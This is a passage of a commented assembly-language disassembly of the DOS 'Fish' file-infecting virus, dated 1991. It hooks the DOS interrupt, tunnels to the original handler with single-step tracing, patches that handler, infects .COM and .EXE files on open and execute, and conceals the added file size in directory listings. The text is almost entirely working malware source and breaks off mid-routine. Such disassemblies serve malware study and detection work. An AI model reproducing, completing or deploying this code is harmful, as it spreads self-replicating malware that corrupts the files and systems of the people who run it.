PAGE  59,132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ									 ÛÛ
;ÛÛ				FISH_					 ÛÛ
;ÛÛ									 ÛÛ
;ÛÛ	 Created:   1-Jan-80						 ÛÛ
;ÛÛ	 Version:							 ÛÛ
;ÛÛ	 Code type: zero start						 ÛÛ
;ÛÛ	 Passes:    9	       Analysis Options on: A			 ÛÛ
;ÛÛ									 ÛÛ
;ÛÛ	 Disassembled by: Sir John -- 13-Mar-91 			 ÛÛ
;ÛÛ									 ÛÛ
;ÛÛ									 ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

data_1e 	equ	0Ah			; (0000:000A=0)
data_3e 	equ	12h			; (0000:0012=70h)
data_4e 	equ	14h			; (0000:0014=0FF54h)
data_5e 	equ	18h			; (0000:0018=0FF23h)
data_6e 	equ	1Ah			; (0000:001A=0F000h)
data_7e 	equ	475h			; (0000:0475=1)
data_8e 	equ	data_23 - virus_entry + 3	; jmp_len = 3
MCB_0003	equ	3			; Siza of memory block in paragraphs
PSP_0003	equ	3			; Memory size in paragraphs
PSP_000A	equ	0Ah			; (026E:000A=0)
COM_beg 	equ	100h			; .COM file beginning
data_33e	equ	0B3h			; (cs:00B3=5)
all_len 	equ	1000h
encr_len	equ	((locloop_105 - vir_beg) and 0fffeh)+vir_beg - data_311
vir_len 	equ	vir_end - vir_beg
read_len	equ	1Ch

seg_a		segment byte public
		assume	cs:seg_a, ds:seg_a

		org	0

vir_beg:	db	0
		jmp	virus_entry		; (0DCE)
data_23 	dw	20CDh			; original file content
data_24 	dw	0
data_26 	dw	0
		db	8 dup (0)
data_27 	dw	0
data_28 	dw	0
		db	0, 0
data_29 	dd	0
		db	0, 0, 0, 0
exe_flag	db	0


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_1		proc	near
		pushf
		call	dword ptr cs:INT_21_ptr ; (cs:0E35=0)
		retn
sub_1		endp

data_311	db	0
		db	'COD'

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2		proc	near
		pop	cs:tmp_adr		; (cs:0EEA=0)
		pushf
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		push	ds
		push	es
		jmp	word ptr cs:tmp_adr	; (cs:0EEA=0)
sub_2		endp

sub_3		proc	near
		pop	cs:tmp_adr		; (cs:0EEA=0)
		pop	es
		pop	ds
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		popf
		jmp	word ptr cs:tmp_adr	; (cs:0EEA=0)
sub_3		endp

		db	'SHARK'

sub_4		proc	near
		mov	cs:old_SP,sp		; (cs:0F57=0)
		mov	cs:old_SS,ss		; (cs:0F59=151Ch)
		push	cs
		pop	ss
		mov	sp,cs:virus_SP		; (cs:0F5B=0)
		db	2Eh
		call	sub_3			; Pop flags and registers
		mov	ss,cs:old_SS		; (cs:0F59=151Ch)
		mov	cs:virus_SP,sp		; (cs:0F5B=0)
		mov	sp,cs:old_SP		; (cs:0F57=0)
		retn
sub_4		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_5		proc	near
		mov	cs:old_SP,sp		; (cs:0F57=0)
		mov	cs:old_SS,ss		; (cs:0F59=151Ch)
		push	cs
		pop	ss
		mov	sp,cs:virus_SP		; (cs:0F5B=0)
		db	2Eh
		call	sub_2			; Push flags and registers
		mov	ss,cs:old_SS		; (cs:0F59=151Ch)
		mov	cs:virus_SP,sp		; (cs:0F5B=0)
		mov	sp,cs:old_SP		; (cs:0F57=0)
		retn
sub_5		endp

		db	08Ch

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_6		proc	near
		mov	si,offset data_70	; (cs:0E4B=0)
		les	di,cs:INT_21_ptr	; (cs:0E35=0) Load 32 bit ptr
		push	cs
		pop	ds
		cld				; Clear direction
		mov	cx,5
locloop_1:	lodsb				; String [si] to al
		xchg	al,es:[di]
		mov	[si-1],al
		inc	di
		loop	locloop_1		; Loop if cx > 0
		retn
sub_6		endp

		db	'CARP'

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_7		proc	near
		mov	al,1
		push	cs
		pop	ds
		mov	dx,offset tracer
		call	sub_8			; Set INT 01 vector
		retn
sub_7		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_8		proc	near
		push	es
		push	bx
		xor	bx,bx			; Zero register
		mov	es,bx
		mov	bl,al
		shl	bx,1			; Shift w/zeros fill
		shl	bx,1			; Shift w/zeros fill
		mov	es:[bx],dx
		mov	es:[bx+2],ds
		pop	bx
		pop	es
		retn
sub_8		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_9		proc	near
		push	ds
		push	si
		xor	si,si			; Zero register
		mov	ds,si
		xor	ah,ah			; Zero register
		mov	si,ax
		shl	si,1			; Shift w/zeros fill
		shl	si,1			; Shift w/zeros fill
		mov	bx,[si]
		mov	es,[si+2]
		pop	si
		pop	ds
		retn
sub_9		endp

		db	'BASS'

virus:		call	sub_13			; (03AD)
		db	0B9h
		call	sub_25			; (0B57)
		db	08Eh
		mov	cs:old_AX,ax		; (cs:0EE3=0)
		mov	ah,52h
		mov	cs:virus_SP,1000h	; (cs:0F5B=0)
		mov	cs:old_DS,ds		; (cs:0E45=26Eh)
		call	sub_29			; (0C97)
		db	0EBh
		int	21h			; DOS Services	ah=function 52h
						;  get DOS data table ptr es:bx
		mov	ax,es:[bx-2]		; Segment of first MCB
		mov	cs:data_69,ax		; (cs:0E47)
		push	cs
		pop	ds
		call	sub_25			; (0B57)
		db	0A1h
		mov	al,21h
		call	sub_9			; Get INT 21 vector
		mov	INT_13_prt+2,es 	; (cs:0E2F) - uses it as temp. ptr
		mov	INT_13_prt,bx		; (cs:0E2D)
		mov	dx,offset tracer
		mov	al,1
		mov	byte ptr data_73,0	; (cs:0E50)
		call	sub_8			; Set INT 01 to tracer
		pushf
		pop	ax
		or	ax,100h 		; Set TF to trace INT 21
		push	ax
		popf
		pushf
		mov	ah,61h
		call	dword ptr INT_13_prt	; (cs:0E2D) - trace INT 21
		pushf
		pop	ax
		and	ax,0FEFFh		; Clear TF
		push	ax
		popf
		call	sub_12			; (033B)
		db	0A3h
		les	di,dword ptr INT_13_prt    ; (cs:0E2D) Load 32 bit ptr
		mov	word ptr INT_21_ptr+2,es   ; (cs:0E37)
		mov	byte ptr data_70,0EAh	; (cs:0E4B) - jmp xxxx:xxxx opcode
		mov	data_71,offset loc_1021 ; (cs:0E4C)
		mov	word ptr INT_21_ptr,di	; (cs:0E35)
		mov	data_72,cs		; (cs:0E4E=7DBCh)
		call	sub_10			; (0180)
		call	sub_6			; Swap JMP xxxx:xxxx
		call	sub_26			; (0B96)
		db	089h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_10		proc	near
		mov	al,2Fh
		call	sub_9			; Get INT 2F vector
		mov	bx,es
		cmp	cs:data_69,bx		; (cs:0E47=0)
		jae	loc_ret_4		; Jump if above or =
		call	sub_27			; (0BD0)
		mov	ds,cs:INT_13_prt+2	; (cs:0E2F=140Bh)
		push	cs:INT_13_prt		; (cs:0E2D=0)
		pop	dx
		mov	al,13h
		call	sub_8			; Set INT 13 vector
		xor	bx,bx			; Zero register
		mov	ds,bx
		mov	byte ptr ds:data_7e,2	; (0000:0475=1)
loc_ret_4:	retn
sub_10		endp

		db	' FISH VIRUS #6 - EACH DIFF - BON'
		db	'N 2/90 ', 27h, '~knzyvo}', 27h, '$'
loc_4_1:
		call	sub_6			; Swap JMP xxxx:xxxx
		mov	cs:data_72,cs		; (cs:0E4E=7DBCh)
		call	sub_6			; Swap JMP xxxx:xxxx
		push	cs
		pop	ds
		push	ds
		pop	es
		mov	ax,old_DS		; (cs:0E45=26Eh)
		mov	es,ax
		lds	dx,dword ptr es:PSP_000A	; Load 32 bit ptr - terminate addr
		mov	ds,ax
		add	ax,10h
		add	word ptr cs:data_29+2,ax	; (cs:001A=0)
		cmp	cs:exe_flag,0		; (cs:0020=0)
		sti				; Enable interrupts
		jnz	loc_5			; Jump if not zero
		mov	ax,cs:data_23		; (cs:0004=0FBE9h)
		mov	ds:COM_beg,ax		; (026E:0100=0)
		mov	ax,cs:data_24		; (cs:0006=0)
		mov	ds:COM_beg+2,ax 	; (026E:0102=1700h)
		mov	ax,cs:data_26		; (cs:0008=0)
		mov	ds:COM_beg+4,ax 	; (026E:0104=9Ch)
		push	cs:old_DS		; (cs:0E45=26Eh)
		xor	ax,ax			; Zero register
		inc	ah
		push	ax
		mov	ax,cs:old_AX		; (cs:0EE3=0)
		retf				; Jmp cs:100
loc_5:
		add	cs:data_27,ax		; (cs:0012=0)
		mov	ax,cs:old_AX		; (cs:0EE3=0)
		mov	sp,cs:data_28		; (cs:0014=0)
		mov	ss,cs:data_27		; (cs:0012=0)
		jmp	cs:data_29		; (cs:0018=0)

		db	'TROUT'

loc_7:
		xor	sp,sp			; Zero register
		call	sub_11			; (024F)

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_11		proc	near
		mov	bp,ax
		mov	ax,cs
		mov	bx,10h
		mul	bx			; dx:ax = reg * ax
		pop	cx
		sub	cx,24Fh
		add	ax,cx
		adc	dx,0
		div	bx			; ax,dx rem=dx:ax/reg
		push	ax
		mov	ax,offset virus
		push	ax
		mov	ax,bp
		retf				; Return far
sub_11		endp

loc_9:
		call	sub_12			; (033B)
		db	0CDh
		call	sub_29			; (0C97)
		db	0CBh
		push	bx
		mov	bx,sp
		mov	bx,ss:[bx+6]
		mov	cs:data_85,bx		; (cs:0EB3=0)
		pop	bx
		push	bp
		mov	bp,sp
		call	sub_25			; (0B57)
		db	0A3h
		call	sub_5			; Push all in vir's stack
		call	sub_6			; Swap JMP xxxx:xxxx
		call	sub_4			; Pop all from vir's stack
		call	sub_2			; Push flags and registers
		call	sub_25			; (0B57)
		db	088h
		cmp	ah,0Fh
		jne	loc_11			; Jump if not equal
		jmp	loc_32			; (0389)
		db	0B8h
loc_11:
		cmp	ah,11h
		jne	loc_12			; Jump if not equal
		jmp	dos_11_12		   ; (0344)
		db	0A1h
loc_12:
		cmp	ah,12h
		jne	loc_13			; Jump if not equal
		jmp	dos_11_12		   ; (0344)
		db	089h
loc_13:
		cmp	ah,14h
		jne	loc_14			; Jump if not equal
		jmp	dos_14			; (03C4)
		db	0EBh
loc_14:
		cmp	ah,21h
		jne	loc_15			; Jump if not equal
		jmp	dos_21			; (03B8)
		db	08Ch
loc_15:
		cmp	ah,23h
		jne	loc_16			; Jump if not equal
		jmp	dos_23			; (0451)
		db	0A3h
loc_16:
		cmp	ah,27h
		jne	loc_17			; Jump if not equal
		jmp	dos_27			; (03B6)
		db	0EBh
loc_17:
		cmp	ah,3Dh
		jne	loc_18			; Jump if not equal
		jmp	dos_3D			; (04A5)
		db	0FFh
loc_18:
		cmp	ah,3Eh
		jne	loc_19			; Jump if not equal
		jmp	dos_3E			; (04E9)
		db	0A1h
loc_19:
		cmp	ah,3Fh
		jne	loc_20			; Jump if not equal
		jmp	dos_3F			; (0A6E)
		db	088h
loc_20:
		cmp	ah,42h
		jne	loc_21			; Jump if not equal
		jmp	dos_42			; (0A3C)
		db	08Ch
loc_21:
		cmp	ah,4Bh
		jne	loc_22			; Jump if not equal
		jmp	dos_4B			; (051F)
		db	0EBh
loc_22:
		cmp	ah,4Eh
		jne	loc_24			; Jump if not equal
		jmp	dos_4E_4F		   ; (0B5F)
		db	089h
loc_24:
		cmp	ah,4Fh
		jne	loc_25			; Jump if not equal
		jmp	dos_4E_4F		   ; (0B5F)
		db	08Eh
loc_25:
		cmp	ah,57h
		jne	loc_26			; Jump if not equal
		jmp	dos_57			; (09ED)
loc_26:
		jmp	loc_96			; (0C78)
		db	0EBh
loc_27:
		call	sub_29			; (0C97)
		db	0A1h
		call	sub_5			; Push all in vir's stack
		call	sub_6			; Swap JMP xxxx:xxxx
		call	sub_4			; Pop all from vir's stack
		mov	bp,sp
		push	cs:data_85		; (cs:0EB3=0)
		pop	word ptr [bp+6]
		pop	bp
		iret

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_12		proc	near
		inc	cs:_null__		; (cs:0E31=0)
		jmp	loc_91			; (0B57)
sub_12		endp

		db	0A1h
dos_11_12:
		call	sub_3			; Pop flags and registers
		call	sub_1			; Call INT 21
		or	al,al			; Zero ?
		jnz	loc_27			; Jump if not zero
		call	sub_2			; Push flags and registers
		call	sub_14			; (0515)
		mov	al,0
		cmp	byte ptr [bx],0FFh
		jne	loc_30			; Jump if not equal
		mov	al,[bx+6]
		add	bx,7
loc_30:
		and	cs:data_100,al		; (cs:0EF0=0)
		test	byte ptr [bx+1Ah],80h
		jz	dos_0F			; Jump if zero
		sub	byte ptr [bx+1Ah],0C8h
		cmp	byte ptr cs:data_100,0	; (cs:0EF0=0)
		jne	dos_0F			; Jump if not equal
		sub	word ptr [bx+1Dh],0E00h
		sbb	word ptr [bx+1Fh],0
dos_0F:
		call	sub_3			; Pop flags and registers
		jmp	short loc_27		; (0322)

		db	'FIN'

loc_32:
		call	sub_3			; Pop flags and registers
		call	sub_1			; Call INT 21
		call	sub_2			; Push flags and registers
		or	al,al			; Zero ?
		jnz	dos_0F			; Jump if not zero
		mov	bx,dx
		test	byte ptr [bx+15h],80h
		jz	dos_0F			; Jump if zero
		sub	byte ptr [bx+15h],0C8h
		sub	word ptr [bx+10h],0E00h
		sbb	byte ptr [bx+12h],0
		jmp	short dos_0F		; (0381)

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_13		proc	near
		dec	cs:_null__		; (cs:0E31=0)
		jmp	loc_91			; (0B57)
sub_13		endp

		db	0A3h
dos_27:
		jcxz	loc_37			; Jump if cx=0
dos_21:
		mov	bx,dx
		mov	si,[bx+21h]
		or	si,[bx+23h]
		jnz	loc_37			; Jump if not zero
		jmp	short loc_36		; (03CE)
dos_14:
		mov	bx,dx
		mov	ax,[bx+0Ch]
		or	al,[bx+20h]
		jnz	loc_37			; Jump if not zero
loc_36:
		call	sub_18			; Recognize .COM/.EXE file
		jnc	loc_38			; Jump if carry=0
loc_37:
		jmp	loc_26			; (031E)
loc_38:
		call	sub_3			; Pop flags and registers
		call	sub_2			; Push flags and registers
		call	sub_1			; Call INT 21
		mov	[bp-8],cx
		mov	[bp-4],ax
		push	ds
		push	dx
		call	sub_14			; (0515)
		cmp	word ptr [bx+14h],1
		je	loc_39			; Jump if equal
		mov	ax,[bx]
		add	ax,[bx+2]
		push	bx
		mov	bx,[bx+4]
		not	bx
		add	ax,bx
		pop	bx
		jz	loc_39			; Jump if zero
		add	sp,4
		jmp	dos_0F			; (0381)

		db	'MUSKY'

loc_39:
		pop	dx
		pop	ds
		mov	si,dx
		push	cs
		pop	es
		mov	cx,25h
		mov	di,offset data_86	; (cs:0EB5=0)
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	di,offset data_86	; (cs:0EB5=0)
		push	cs
		pop	ds
		mov	dx,[di+12h]
		mov	ax,[di+10h]
		add	ax,0E0Fh
		adc	dx,0
		and	ax,0FFF0h
		mov	[di+12h],dx
		mov	[di+10h],ax
		sub	ax,vir_len + vir_beg - data_28
		sbb	dx,0
		mov	[di+23h],dx
		mov	[di+21h],ax
		mov	cx,1Ch
		mov	word ptr [di+0Eh],1
		mov	ah,27h			; Random block read
		mov	dx,di			; DS:DX -> FCB
		call	sub_1			; Call INT 21
		jmp	dos_0F			; (0381)
dos_23:
		push	cs
		pop	es
		mov	di,offset data_86	; (cs:0EB5=0)
		mov	cx,25h
		mov	si,dx
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		push	ds
		push	dx
		push	cs
		pop	ds
		mov	ah,0Fh			; Open disk file
		mov	dx,offset data_86	; DS:DX -> FCB
		call	sub_1			; Call INT 21
		mov	ah,10h			; Close file
		call	sub_1			; Call INT 21
		test	byte ptr data_89,80h	; (cs:0ECA=0)
		pop	si
		pop	ds
		jz	loc_41
		les	bx,cs:data_88		; (cs:0EC5) Load 32 bit ptr
		mov	ax,es
		sub	bx,vir_len
		sbb	ax,0
		xor	dx,dx
		mov	cx,cs:data_87		; (cs:0EC3)
		dec	cx
		add	bx,cx
		adc	ax,0
		inc	cx
		div	cx			; ax,dx rem=dx:ax/reg
		mov	[si+23h],ax
		xchg	ax,dx
		xchg	ax,bx
		div	cx			; ax,dx rem=dx:ax/reg
		mov	[si+21h],ax
		jmp	dos_0F			; (0381)
loc_41:
		jmp	loc_26			; (031E)
dos_3D:
		call	sub_20			; (0914)
		call	sub_19			; Recognize .COM/.EXE file
		jc	loc_44			; Jump if carry Set
		cmp	byte ptr cs:data_76,0	; (cs:0EA2=0)
		je	loc_44			; Jump if equal
		call	sub_21			; (0921)
		cmp	bx,0FFFFh
		je	loc_44			; Jump if equal
		dec	cs:data_76		; (cs:0EA2=0)
		push	cs
		pop	es
		mov	cx,14h
		mov	di,offset file_name	; (cs:0E52=0)
		xor	ax,ax			; Zero register
		repne	scasw			; Rep zf=0+cx >0 Scan es:[di] for ax
		mov	ax,cs:data_77		; (cs:0EA3=0)
		mov	es:[di-2],ax
		mov	es:[di+26h],bx
		mov	[bp-4],bx
loc_43:
		and	byte ptr cs:data_85,0FEh	; (cs:0EB3=0)
		jmp	dos_0F			; (0381)
loc_44:
		jmp	loc_26			; (031E)
dos_3E:
		push	cs
		pop	es
		call	sub_20			; (0914)
		mov	cx,14h
		mov	ax,cs:data_77		; (cs:0EA3=0)
		mov	di,offset file_name	; (cs:0E52=0)
loc_46:
		repne	scasw			; Rep zf=0+cx >0 Scan es:[di] for ax
		jnz	loc_47			; Jump if not zero
		cmp	bx,es:[di+26h]
		jne	loc_46			; Jump if not equal
		mov	word ptr es:[di-2],0
		call	sub_15			; (0722)
		inc	cs:data_76		; (cs:0EA2=0)
		jmp	short loc_43		; (04DD)
loc_47:
		jmp	loc_26			; (031E)

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_14		proc	near
		mov	ah,2Fh			; Get disk transfer area address
		push	es
		call	sub_1			; Call INT 21
		push	es
		pop	ds
		pop	es
		retn
sub_14		endp

dos_4B:
		or	al,al			; Zero ?
		jz	loc_49			; Jump if zero
		jmp	loc_56			; (067C)
loc_49:
		push	ds
		push	dx
		mov	word ptr cs:data_51+2,es	; (cs:0E26=7DBCh)
		mov	cs:data_51,bx		; (cs:0E24=0)
		lds	si,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
		mov	cx,0Eh
		mov	di,offset data_101	; (cs:0EF1=0)
		push	cs
		pop	es
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	si
		pop	ds
		mov	cx,50h
		mov	di,offset data_109	; (cs:0F07=0)
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	bx,0FFFFh
		call	sub_3			; Pop flags and registers
		pop	bp
		pop	cs:data_95		; (cs:0EE6=0)
		pop	cs:data_96		; (cs:0EE8=0)
		pop	cs:data_85		; (cs:0EB3=0)
		push	cs
		mov	ax,4B01h
		pop	es
		pushf
		mov	bx,offset data_101
		call	dword ptr cs:INT_21_ptr ; (cs:0E35=0)
		jnc	loc_50			; Jump if carry=0
		or	cs:data_85,1		; (cs:0EB3=0)
		push	cs:data_85		; (cs:0EB3=0)
		push	cs:data_96		; (cs:0EE8=0)
		push	cs:data_95		; (cs:0EE6=0)
		push	bp
		les	bx,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
		mov	bp,sp
		jmp	loc_27			; (0322)
loc_50:
		call	sub_20			; (0914)
		push	cs
		pop	es
		mov	cx,14h
		mov	di,offset file_name	; (cs:0E52=0)
loc_51:
		mov	ax,cs:data_77		; (cs:0EA3=0)
		repne	scasw			; Rep zf=0+cx >0 Scan es:[di] for ax
		jnz	loc_52			; Jump if not zero
		mov	word ptr es:[di-2],0
		inc	cs:data_76		; (cs:0EA2=0)
		jmp	short loc_51		; (059C)
loc_52:
		lds	si,cs:data_107		; (cs:0F03=0) Load 32 bit ptr
		cmp	si,1
		jne	loc_53			; Jump if not equal
		mov	dx,ds:data_6e		; (0000:001A=0F000h)
		add	dx,10h
		mov	ah,51h			; Get PSP segment in BX
		call	sub_1			; Call INT 21
		add	dx,bx
		mov	word ptr cs:data_107+2,dx	; (cs:0F05=0)
		push	word ptr ds:data_5e	; (0000:0018=0FF23h)
		pop	word ptr cs:data_107	; (cs:0F03=0)
		add	bx,ds:data_3e		; (0000:0012=70h)
		add	bx,10h
		mov	cs:data_106,bx		; (cs:0F01=0)
		push	word ptr ds:data_4e	; (0000:0014=0FF54h)
		pop	cs:data_105		; (cs:0EFF=0)
		jmp	loc_54			; (0617)
loc_53:
		mov	ax,[si]
		add	ax,[si+2]
		push	bx
		mov	bx,[si+4]
		not	bx
		add	ax,bx
		pop	bx
		jz	loc_55			; Jump if zero
		push	cs
		pop	ds
		mov	dx,0F07h
		call	sub_19			; Recognize .COM/.EXE file
		call	sub_21			; (0921)
		inc	cs:data_99		; (cs:0EEF=0)
		call	sub_15			; (0722)
		dec	cs:data_99		; (cs:0EEF=0)
loc_54:
		mov	ah,51h			; Get PSP segment in BX
		call	sub_1			; Call INT 21
		call	sub_5			; Push all in vir's stack
		call	sub_6			; Swap JMP xxxx:xxxx
		call	sub_4			; Pop all from vir's stack
		mov	ds,bx
		mov	es,bx
		push	cs:data_85		; (cs:0EB3=0)
		push	cs:data_96		; (cs:0EE8=0)
		push	cs:data_95		; (cs:0EE6=0)
		pop	word ptr ds:PSP_000A	; (0000:000A=0F000h)
		pop	word ptr ds:PSP_000A+2	; (0000:000C=7F6h)
		push	ds
		mov	al,22h
		lds	dx,dword ptr ds:PSP_000A ; (0000:000A=0F000h) Load 32 bit ptr
		call	sub_8			 ; Set INT 22 vector
		pop	ds
		popf
		pop	ax
		mov	sp,cs:data_105		; (cs:0EFF=0)
		mov	ss,cs:data_106		; (cs:0F01=0)
		jmp	dword ptr cs:data_107	; (cs:0F03=0)

		db	'SOLE'

loc_55: 	mov	bx,[si+1]
		mov	ax,ds:[data_8e][bx+si]	 ; (0000:F239=7404h)
		mov	[si],ax
		mov	ax,ds:[data_8e+2][bx+si] ; (0000:F23B=7504h)
		mov	[si+2],ax
		mov	ax,ds:[data_8e+4][bx+si] ; (0000:F23D=0FF04h)
		mov	[si+4],ax
		call	sub_24			; (0A51)
		jmp	short loc_54		; (0617)
loc_56:
		cmp	al,1
		je	loc_57			; Jump if equal
		jmp	loc_26			; (031E)
loc_57:
		or	cs:data_85,1		; (cs:0EB3=0)
		mov	word ptr cs:data_51+2,es	; (cs:0E26=7DBCh)
		mov	cs:data_51,bx		; (cs:0E24=0)
		call	sub_3			; Pop flags and registers
		call	sub_1			; Call INT 21
		call	sub_2			; Push flags and registers
		les	bx,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
		lds	si,dword ptr es:[bx+12h]	; Load 32 bit ptr
		jc	loc_60			; Jump if carry Set
		and	byte ptr cs:data_85,0FEh	; (cs:0EB3=0)
		cmp	si,1
		je	loc_58			; Jump if equal
		mov	ax,[si]
		add	ax,[si+2]
		push	bx
		mov	bx,[si+4]
		not	bx
		add	ax,bx
		pop	bx
		jnz	loc_59			; Jump if not zero
		mov	bx,[si+1]
		mov	ax,word ptr ds:[0F239h][bx+si]	; (cs:F239=0)
		mov	[si],ax
		mov	ax,word ptr ds:[0F23Bh][bx+si]	; (cs:F23B=0)
		mov	[si+2],ax
		mov	ax,word ptr ds:[0F23Dh][bx+si]	; (cs:F23D=0)
		mov	[si+4],ax
		jmp	short loc_59		; (0707)
loc_58:
		mov	dx,word ptr data_29+2	; (cs:001A=0)
		call	sub_20			; (0914)
		mov	cx,cs:data_77		; (cs:0EA3=0)
		add	cx,10h
		add	dx,cx
		mov	es:[bx+14h],dx
		mov	ax,word ptr data_29	; (cs:0018=0)
		mov	es:[bx+12h],ax
		mov	ax,data_27		; (cs:0012=0)
		add	ax,cx
		mov	es:[bx+10h],ax
		mov	ax,data_28		; (cs:0014=0)
		mov	es:[bx+0Eh],ax
loc_59:
		call	sub_20			; (0914)
		mov	ds,cs:data_77		; (cs:0EA3=0)
		mov	ax,[bp+2]
		mov	ds:data_1e,ax		; (0000:000A=0F000h)
